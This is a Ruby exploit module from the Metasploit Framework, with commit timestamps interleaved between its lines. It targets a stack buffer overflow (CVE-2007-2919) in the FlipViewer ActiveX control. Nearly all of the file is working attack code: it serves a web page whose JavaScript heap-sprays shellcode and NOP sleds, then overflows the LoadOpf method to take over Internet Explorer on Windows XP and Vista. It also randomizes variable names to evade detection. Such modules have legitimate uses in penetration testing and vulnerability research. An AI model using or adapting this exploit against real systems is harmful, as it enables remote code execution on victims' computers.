2009-12-15 18:47:29 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2009-12-15 18:47:29 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2009-12-06 05:50:37 +00:00
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Rank = NormalRanking
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2009-12-15 18:47:29 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FlipViewer FViewerLoading ActiveX Control Buffer Overflow',
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'Description' => %q{
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2010-05-09 17:45:00 +00:00
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This module exploits a stack buffer overflow in E-BOOK Systems FlipViewer 4.0.
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2010-04-30 08:40:19 +00:00
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The vulnerability is caused due to a boundary error in the
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2009-12-15 18:47:29 +00:00
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FViewerLoading (FlipViewerX.dll) ActiveX control when handling the
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"LoadOpf()" method.
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},
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'License' => BSD_LICENSE,
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2011-07-22 20:17:58 +00:00
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'Author' => [ 'LSO <lso[at]hushmail.com>' ],
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2009-12-15 18:47:29 +00:00
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'Version' => '$Revision$',
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2010-04-30 08:40:19 +00:00
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'References' =>
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2009-12-15 18:47:29 +00:00
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[
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[ 'CVE', '2007-2919' ],
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2009-06-07 20:20:42 +00:00
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[ 'OSVDB', '37042' ],
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2009-12-15 18:47:29 +00:00
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[ 'BID', '24328' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested ok patrickw 20090303
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[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ],
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],
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2010-06-15 07:18:08 +00:00
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'DisclosureDate' => 'Jun 6 2007',
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2009-12-15 18:47:29 +00:00
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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return if ((p = regenerate_payload(cli)) == nil)
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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2010-04-30 08:40:19 +00:00
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nops = Rex::Text.to_unescape(make_nops(4))
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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2010-04-30 08:40:19 +00:00
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vname = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(30) + 2)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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content = %Q|<html>
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<object classid='clsid:BA83FD38-CE14-4DA3-BEF5-96050D55F78A' id='#{vname}'></object>
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<script language='javascript'>
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var #{rand1} = unescape('#{shellcode}');
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var #{rand2} = unescape('#{nops}');
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var #{rand3} = 20;
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var #{rand4} = #{rand3} + #{rand1}.length;
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while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
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var #{rand5} = #{rand2}.substring(0,#{rand4});
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var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
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while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
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var #{rand7} = new Array();
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for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
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var #{rand8} = "";
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for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
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#{vname}.LoadOpf(#{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{rand8});
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</script>
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</html>
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2009-12-15 18:47:29 +00:00
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content = Rex::Text.randomize_space(content)
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2012-04-25 20:01:50 +00:00
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print_status("Sending exploit...")
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2009-12-15 18:47:29 +00:00
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send_response_html(cli, content)
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handler(cli)
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end
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end
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